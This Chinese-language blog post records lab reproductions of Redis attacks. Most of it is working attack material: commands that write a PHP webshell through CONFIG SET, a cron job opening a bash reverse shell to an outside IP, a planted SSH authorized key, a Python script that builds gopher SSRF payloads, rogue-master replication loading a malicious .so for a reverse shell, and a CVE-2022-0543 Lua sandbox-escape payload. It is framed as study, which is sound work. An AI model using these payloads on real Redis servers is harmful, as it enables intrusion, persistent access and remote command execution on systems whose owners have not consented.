# 前言

​ 开坑容易退坑难,但是都是小问题,主要还是一个学习的过程。本篇主要记录 Redis 数据库漏洞的复现,由于是边学习边记录写的一篇笔记写写停停,逻辑混乱、词不达意可能时不时的会出现 反正我能看的懂,问题不大 :。

# Redis 是什么?

​ 这里就是简单的说一说有关 redis 的内容,Redis 全名 Remote Dictionary Server,直译就是远程字典服务。使用 ANSI C 编写的开源、支持网络、基于内存、分布式、可选持久性的键值对 (Key-Value) 存储数据库,提供了多种语言的 API,属于 NoSQL 数据库类型。与传统是数据库不太一样的是,Redis 数据库是将数据缓存在内存中,所以它的读写速度非常之快。

Redis 默认端口号:

6379:默认配置端口号
26379:sentinel.conf配置器端口

# Redis 安装

# 安装配置 redis-3.2.0

官网地址:Redis

image-20240217112320613

可以去官网下载安装,这里直接使用 wget 命令来安装

wget http://download.redis.io/releases/redis-3.2.0.tar.gz 
tar -xzf redis-3.2.0.tar.gz 
cd redis-3.2.0 
make

这里如果出现如下报错

image-20240217140436731

这里是由于系统没有安装 gcc 环境,安装后清除残留重新编译即可

yum install gcc-c++ 
make distclean

image-20240217140714453

出现上图所示字样说明编译成功,接下来对编译好的 redis 进行配置

image-20240217141417186

修改 redis 目录下的 redis.conf 文件,在修改之前建议先对这个文件做备份,当然我是快照战神(细化快照,及时止损)就没有必要了,直接修改这个文件。我们需要修改下面两处(造成未授权漏洞的主要原因):

image-20240217141646851

image-20240217141710079

#bind 127.0.0.1 注释后表示任意机器都能登录
protected-mode = no 关闭安全配置

修改完成后我们将这个文件复制到当前目录下的 src 目录下,然后指定配置文件启动即可

cp redis.conf ./src/redis.conf
./src/redis-server redis.conf

image-20240217142111093

这样就算是成功了

# Redis-4.0.8 安装

类似 Redis-3.2.0 的安装,Linux 执行如下命令即可下载和编译安装

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

# redis 基本操作

# 连接

命令如下:

redis-cli -h {host} -p {port}
redis-cli -h {host} -p {port} {command}#命令连接方式

image-20240217151430952

image-20240217151512619

# 设置密码

redis 编译安装完成后默认是没有密码的,或许是因为这个服务通常在配置文件中通过 bind 绑定到本地?

config set requirepass {password}

image-20240217153440685

设置完密码后我们的操作就需要先通过认证了

方式 1:在连接的时候通过 - a 参数来验证密码

image-20240217153501641

方式 2:连接上后再认证授权

image-20240217153627698

具体的使用命令可以参考官方文档,链接:命令 |Redis (英语)

# 常用

info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出

# Redis 漏洞复现

# 未授权访问

实际上上面的环境搭建成功后,我们没有设置密码之前就已经算是未授权访问了,通常因为配置不当导致未授权访问漏洞,攻击者可以进一步将恶意数据写入内存或磁盘当中,造成更大危害。漏洞存在的原因就是下面两条

  • 配置登录策略导致任意机器都可以登录 redis
  • 未设置密码或设置弱口令

这里如果允许外部链接但是设置了密码,我们可以通过 hydra 来对其进行爆破

hydra -P {密码字典} redis://{ip}

# redis 写 webshell

当我们能操作 redis 数据库后我们可以通过 redis 写 shell 来实现进一步利用,利用条件:web 目录权限可读写

config set dir /var/www/html/#设置写入的目录
config set dbfilename shell.php#设置写入的文件名
set shell "\n\n<?php @eval($_POST['xigua']);?>\n\n"#设置写入的内容
save#保存

image-20240217161539116

这里保存后去查看对应的目录

image-20240217161631000

这里可以看到就已经将对应的马写到网站目录下了

# 计划任务反弹 shell

config set dir /var/spool/cron/#设置写入的目录
config set dbfilename shell#设置写入的文件名
set shell "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.246.136/6767 0>&1\n\n\n" #其中 * 代表计划任务的时间
save #保存

image-20240217164322940

这种方法只能使用在 centos 上,因为 redis 写入的文件权限是 644,而 ubuntu 要求定时任务权限必须是 600。而且因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错

# 写 ssh 密钥登录 ssh

利用条件:

  1. 已知登陆用户名
  2. 目标服务器允许 ssh 登录

首先生成对应的 ssh 秘钥

image-20240217172300049

然后将生成的 id_rsa.pub 里的内容复制出来

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

image-20240217172128058

防止出现乱码,所以前后都加上了空格方便复制

flushall
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8E8gTUqcu4p1VZxs3DjobCx+X9Meaz1M4+QsISvjhaw96kNo6ZpSnlZ6pGOsUGqYeeqfp+XV1QHx6s+PIL5h9dNjqLs1uJnrRtGuo8jM9EqKW+LwF+CJQKLqDJdo9HaYGh3BBPwhi28xVoPNJq4rVsS97o7SiquUzucd1fSZe6ooAJxFJg3X1ytjOutb+FJDf1qlBE1OobWn8M5/OkI1CahkPjvBqCevvnMWRn2bplact4gv2wsLdIAQrS6kSAoLPs7xWDTD++Z8IE2m0lSSGBOqpfmVKOf8Pwe0XpzinMwE3EN1SBsW30dvEkHflJID3Zu9KsWef9BveMC46WVPn5loCrnqQW97fv4UAFfRgc1TG77C4O8JVDeZ8KTz0e4S9QPbk8m6PzoevhgD/k+T9fKW5AQM5U6jzuntwmuOsCuzH8pLRDcrZqZjnqgGSPdsYYilODC+59Hx9gkNPYhKoMOTVEScePK45aZakMaMn5ejnh9mYYThmpyM8AYLtYy0= clown@Clown\n\n\n"
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

image-20240217174126624

然后看一下文件是否成功生成了

image-20240217174144389

image-20240217174033223

然后直接连接就可以了

# Redis&SSRF 组合拳

在前面记录 SSRF 的学习中实际上这部分就已经写到过,不过当时更偏向是记录有这样一个东西:CSRF&SSRF - Web | Clown の Blog = (xcu.icu)

# RESP 协议

这里这篇的记录还是从这个 RESP 协议开始,对于我来说算是重新认识一下这个协议。RESP 协议实际上是 Redis 服务端和客户端通信的协议,在 redis1.2 中引入,在 2.0 中成为服务器通信的标准方式。可以将 Redis 中的数据结构序列化为文本格式并进行传输。 RESP 协议定义了以下数据类型:

  1. 简单字符串(Simple Strings):以 "+" 开头,例如 +OK 表示一个简单的字符串 "OK"。
  2. 错误信息(Errors):以 "-" 开头,例如 -ERR 表示一个错误信息 "ERR"。
  3. 整数(Integers):以 ":" 开头,例如 :1 表示整数 1。
  4. 批量字符串(Bulk Strings):以 "$" 开头,例如 $6\r\nfoobar\r\n 表示一个长度为 6 的字符串 "foobar"。
  5. 数组(Arrays):以 "*" 开头,例如 *3\r\n$3\r\nfoo\r\n$3\r\nbar\r\n$5\r\nhello\r\n 表示一个包含了三个元素的数组 ["foo", "bar", "hello"]。

这里使用 wireshark 来抓包验证一下我们上面所说的

image-20240218142638582

抓取上面的内容,然后追踪流

image-20240218142536426

抓到 set 和 get 的数据包如上,这里可以看到首先 *3 代表一个长度为三的数组可以简单的理解为 ["set","test","demo"] ,然后这里 set 前的 $3 表示接下来是一个字符串,长度为三, +OK 表示服务端执行成功后返回的字符串

# 组合拳粘合剂

这里的粘合剂当然就是 gopher 协议了,在 SSRF 总 gopher 协议算的上是万金油的存在。实际上 gopher 在 http 协议出现之前就已经在 Internet 上很常见了,虽然是组合拳实际上主要是应为 Redis 一般是不出网,所以我们需要利用到 SSRF。

实际上利用 SSRF 来攻击 Redis 的几种方式和前面是一样的:

  1. redis 写 webshell
  2. 计划任务反弹 shell
  3. 写 ssh 秘钥登录 ssh

比如说我们要执行上面的写 shell 的操作

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

这里用一个网上师傅的脚本

# 导入 quote 函数
from urllib.parse import quote
# 定义协议、IP、端口、要写入的 PHP 代码、文件名、路径、密码、命令列表
protocol = "gopher://"
ip = "192.168.246.149"
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "1.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",  # 清空 Redis 数据库
       "set 1 {}".format(shell.replace(" ", "${IFS}")),  # 将 PHP 代码写入 Redis 中
       "config set dir {}".format(path),  # 设置 Redis 工作目录
       "config set dbfilename {}".format(filename),  # 设置 Redis 数据库文件名
       "save"  # 将 Redis 数据库保存到磁盘中
       ]
# 如果设置了密码,将 AUTH 命令添加到命令列表中
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
# 拼接 payload
payload = protocol + ip + ":" + port + "/_"
# 定义 redis_format 函数,将命令转换为 Redis 格式
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd
# 将每个命令转换为 Redis 格式,并拼接到 payload 中
if __name__ == "__main__":
    for x in cmd:
        payload += quote(redis_format(x))
    print(payload)

image-20240218151922911

这里可以看到就已经执行成功了

image-20240218152114358

在目标服务器上也保存成功了,其他的这里就不在演示了,效果是一样的这里将上面生成的 payload 解码看一下

image-20240218152326264

这样看就很明显了

# 主从复制 RCE

Redis 数据库是将数据缓存在内存中,所以它的读写速度非常之快。但是当数据读写量特别大的时候,服务器就很难承受那么高负载,这个时候 redis 的主从模式就起作用了。主从模式是指定一个 Redis 服务器作为主机,其他的 redis 服务器为备份机,虽然主机和从机中所存储的数据都是一样的,但是只有主机负责写,其他 redis 服务器负责读。读写分离的设计可以大幅度减轻单个 redis 服务器的负载压力,是一种牺牲空间来换取效率的方式,该漏洞存在于 4.x、5.x 版本中,所以这里还需要安装一个别的 4.0.8 版本的,前面也说了。

image-20240217181751747

建立主从复制有三种方式:

  1. 配置文件写入 slaveof <ip> <port>
  2. redis-server 启动命令后加入 --slaveof <ip> <port>
  3. 连接到客户端之后执行: slaveof <ip> <port>

我们建立主从关系只需要在从节点操作,主节点不用管

这里我又克隆了一个虚拟机,这里都连接上来建立主从复制

image-20240218171056145

在主节点这里创建一个键值,然后在节点建立连接

image-20240218171448365

这里可以看到,就已经可以看到主节点创建的键值了,已经做到了数据同步的效果。

想要想解除主从关系可以执行 SLAVEOF NO ONE

tcpdump -i any -s 0 -X -w /tmp/tcpdump.pcap

这里使用 tcpdump 来抓包

image-20240218172528727

这里是整个主从关系建立的过程,这里偷个图:浅析 Redis 中 SSRF 的利用 - 先知社区 (aliyun.com)

20190713002514-a0feb180-a4c1-1

​ 而我们的利用方式就是在 Redis 4.x 版本后,通过外部扩展可以实现一个新的 Redis 命令来构造恶意 .so 文件,在两个 Redis 实例中设置主从模式的时候,主机可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件即可执行命令。简单的说就是攻击者(主机)写一个 .so 文件,通过 FULLRESYNC 同步文件到受害者(从机)上。

工具:
n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

# 远程主从复制

远程主从复制主要指 redis 可以外连

image-20240218180027352

或者选着反弹 shell

image-20240218180141491

# 本地主从复制

如果 redis 只能本地连接的情况下,可以手动的实现脚本的部分操作

工具:Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement (github.com)

image-20240218182839131

这里先开启启动 Rouge Server 模式,作为主服务器,然后在目标主机上登录 redis 开启主从复制

config set dir /tmp #一般 tmp 目录都有写权限,所以选择这个目录写入
config set dbfilename module.so #设置导出文件的名字
slaveof 192.168.246.136 15000 #进行主从同步,将恶意 so 文件写入到 tmp 目录

image-20240218183322557

这里可以看到服务器上 FULLRESYNC 在同步数据

module load ./module.so #加载写入的恶意 so 文件模块
module list #查看恶意 so 有没有加载成功,主要看有没有 “system”

image-20240218183503184

可以看到这里已经成功加载了,但是这里没法执行命令。我们就上一个工具中的 so 文件

image-20240218184728612

这里将 redis-rogue-server 中的 exp.so 文件移动过来,然后重置环境再重复一次上面的工作

config set dir /tmp #一般 tmp 目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so #设置导出文件的名字
slaveof 192.168.246.136 15000 #进行主从同步,将恶意 so 文件写入到 tmp 目录
module load ./exp.so #加载写入的恶意 so 文件模块
module list #查看恶意 so 有没有加载成功,主要看有没有 “system”

image-20240218185010603

OK,这里可以看到就已经加载成功了,然后我们直接去反弹 shell 即可

system.rev 192.168.246.136 6767

image-20240218185143621

# CVE-2022-0543 复现

参考链接:一个意外的 Redis 沙盒逃逸,只影响 Debian, Ubuntu 和其他 Debian 衍生产品 (ubercomp.com)

Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过 eval 命令使用。Lua 引擎应该是沙盒化的,即客户端可以与 Lua 中的 Redis API 交互,但不能在运行 Redis 的机器上执行任意代码。Ubuntu/Debian/CentOS 等这些发行版本会在原始软件的基础上打一些补丁包给 Redis 打了一个的补丁,在 Lua 沙箱中遗留了一个对象 package ,攻击者可以利用这个方法来加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。

漏洞所在位置

debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package) 就是漏洞的来源,。

git clone https://github.com/vulhub/vulhub.git
cd vulhub/redis/CVE-2022-0543/
docker-compose up -d

这里我使用的是 vulhub 中的环境复现,payload 如下:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

image-20240218164206868

这里可以看到 id 就已经执行了